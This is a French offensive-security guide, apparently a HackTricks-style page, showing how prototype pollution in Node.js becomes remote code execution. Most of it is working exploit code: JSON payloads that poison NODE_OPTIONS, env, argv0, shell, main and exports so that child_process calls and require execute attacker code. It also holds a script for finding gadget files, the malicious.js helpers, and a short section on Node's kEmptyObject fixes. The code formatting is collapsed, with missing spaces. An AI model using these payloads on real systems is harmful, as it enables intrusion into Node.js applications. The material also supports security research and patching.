Imaginez un vrai JS utilisant un code comme celui-ci :
const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
PP2RCE via variables d'environnement
PP2RCE signifie Prototype Pollution to RCE (Execution de Code à Distance).
Selon ce article, lorsqu'un processus est lancé avec une méthode de child_process (comme fork ou spawn ou autres), cela appelle la méthode normalizeSpawnArguments qui est un gadget de pollution de prototype pour créer de nouvelles variables d'environnement:
Vérifiez ce code, vous pouvez voir qu'il est possible de empoisonner envPairs simplement en polluant l'attribut .env.
Empoisonnement de __proto__
Notez que en raison de la façon dont la fonction normalizeSpawnArguments de la bibliothèque child_process de node fonctionne, lorsque quelque chose est appelé pour définir une nouvelle variable d'environnement pour le processus, il vous suffit de polluer n'importe quoi.
Par exemple, si vous faites __proto__.avar="valuevar", le processus sera lancé avec une variable appelée avar avec la valeur valuevar.
Cependant, pour que la variable d'environnement soit la première, vous devez polluer l'attribut .env et (uniquement dans certaines méthodes) cette variable sera la première (permettant l'attaque).
C'est pourquoi NODE_OPTIONS n'est pas à l'intérieur de .env dans l'attaque suivante.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Empoisonnement de constructor.prototype
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}b.constructor.prototype.NODE_OPTIONS="--require /proc/self/environ"proc =fork('a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec2
PP2RCE via env vars + cmdline
Une charge utile similaire à la précédente avec quelques modifications a été proposée dans cet article. Les principales différences sont :
Au lieu de stocker la charge utile nodejs à l'intérieur du fichier /proc/self/environ, elle est stockée à l'intérieur de argv0 de /proc/self/cmdline.
Ensuite, au lieu de nécessiter via NODE_OPTIONS le fichier /proc/self/environ, il nécessite /proc/self/cmdline.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"b.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Interaction DNS
En utilisant les charges utiles suivantes, il est possible d'exploiter la variable d'environnement NODE_OPTIONS que nous avons discutée précédemment et de détecter si cela a fonctionné avec une interaction DNS :
Dans cette section, nous allons analyser chaque fonction de child_process pour exécuter du code et voir si nous pouvons utiliser une technique pour forcer cette fonction à exécuter du code :
exec exploitation
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');
Forcing Spawn
Dans les exemples précédents, vous avez vu comment déclencher la fonctionnalité d'un gadget qui appelle spawn nécessite qu'une fonctionnalité soit présente (toutes les méthodes de child_process utilisées pour exécuter quelque chose l'appellent). Dans l'exemple précédent, cela faisait partie du code, mais que se passe-t-il si le code ne l'appelle pas.
Contrôler un chemin de fichier requis
Dans ce autre article, l'utilisateur peut contrôler le chemin du fichier où un require sera exécuté. Dans ce scénario, l'attaquant doit simplement trouver un fichier .js à l'intérieur du système qui exécutera une méthode spawn lors de son importation.
Certains exemples de fichiers courants appelant une fonction spawn lors de leur importation sont :
/chemin/vers/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
Trouvez plus de fichiers ci-dessous
Le script simple suivant recherchera les appels de child_processsans aucun remplissage (pour éviter d'afficher les appels à l'intérieur des fonctions):
find/-name"*.js"-typef-execgrep-l"child_process"{} \; 2>/dev/null|whilereadfile_path; dogrep--with-filename-nE"^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()""$file_path"|grep-v"require("|grep-v"function "|grep-v"util.deprecate"|sed-E's/.{255,}.*//'done# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Fichiers intéressants trouvés par le script précédent
node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });
Définition du chemin du fichier requis via la pollution de prototype
La technique précédente nécessite que l'utilisateur contrôle le chemin du fichier qui va être requis. Mais ce n'est pas toujours vrai.
Cependant, si le code doit exécuter un require après la pollution de prototype, même si vous ne contrôlez pas le chemin qui va être requis, vous pouvez forcer un autre en abusant de la pollution de prototype. Ainsi, même si la ligne de code est require("./a_file.js") ou require("bytes"), elle requerra le package que vous avez pollué.
Par conséquent, si un require est exécuté après votre pollution de prototype et qu'il n'y a pas de fonction spawn, voici l'attaque :
Trouvez un fichier .js dans le système qui, lorsqu'il est requis, exécutera quelque chose en utilisant child_process
Si vous pouvez télécharger des fichiers sur la plateforme que vous attaquez, vous pouvez télécharger un fichier de ce type
Polluez les chemins pour forcer le chargement du fichier .js qui exécutera quelque chose avec child_process
Polluez l'environnement/cmdline pour exécuter du code arbitraire lorsqu'une fonction d'exécution child_process est appelée (voir les techniques initiales)
Require absolu
Si le require effectué est absolu (require("bytes")) et que le package ne contient pas de main dans le fichier package.json, vous pouvez polluer l'attribut main et faire en sorte que le require exécute un fichier différent.
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main ="/tmp/malicious.js"// Trigger gadgetvar proc =require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')clone(USERINPUT);var proc =require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork("anything");
Require relatif - 1
Si un chemin relatif est chargé au lieu d'un chemin absolu, vous pouvez faire en sorte que node charge un chemin différent :
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".":"./malicious.js" }b.__proto__["1"] ="/tmp"// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Require relatif - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".":"./malicious.js" }b.__proto__.path ="/tmp"b.__proto__.name ="./relative_path.js"//This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Dans le document https://arxiv.org/pdf/2207.11171.pdf, il est également indiqué que le contrôle de contextExtensions à partir de certaines méthodes de la bibliothèque vm pourrait être utilisé comme gadget.
Cependant, comme les méthodes précédentes de child_process, cela a été corrigé dans les dernières versions.
Corrections et protections inattendues
Veuillez noter que la pollution de prototype fonctionne si l'attribut d'un objet qui est accédé est indéfini. Si dans le code cet attribut est défini avec une valeur, vous ne pourrez pas l'écraser.
En juin 2022, à partir de ce commit, la variable options au lieu de {} est un kEmptyObject. Ce qui empêche une pollution de prototype d'affecter les attributs de options pour obtenir une RCE.
Au moins à partir de la version 18.4.0, cette protection a été implémentée, et donc les exploitsspawn et spawnSync affectant les méthodes ne fonctionnent plus (si aucune options n'est utilisée!).
Dans ce commit, la pollution de prototype de contextExtensions de la bibliothèque vm a été également corrigée en définissant les options sur kEmptyObject au lieu de {}.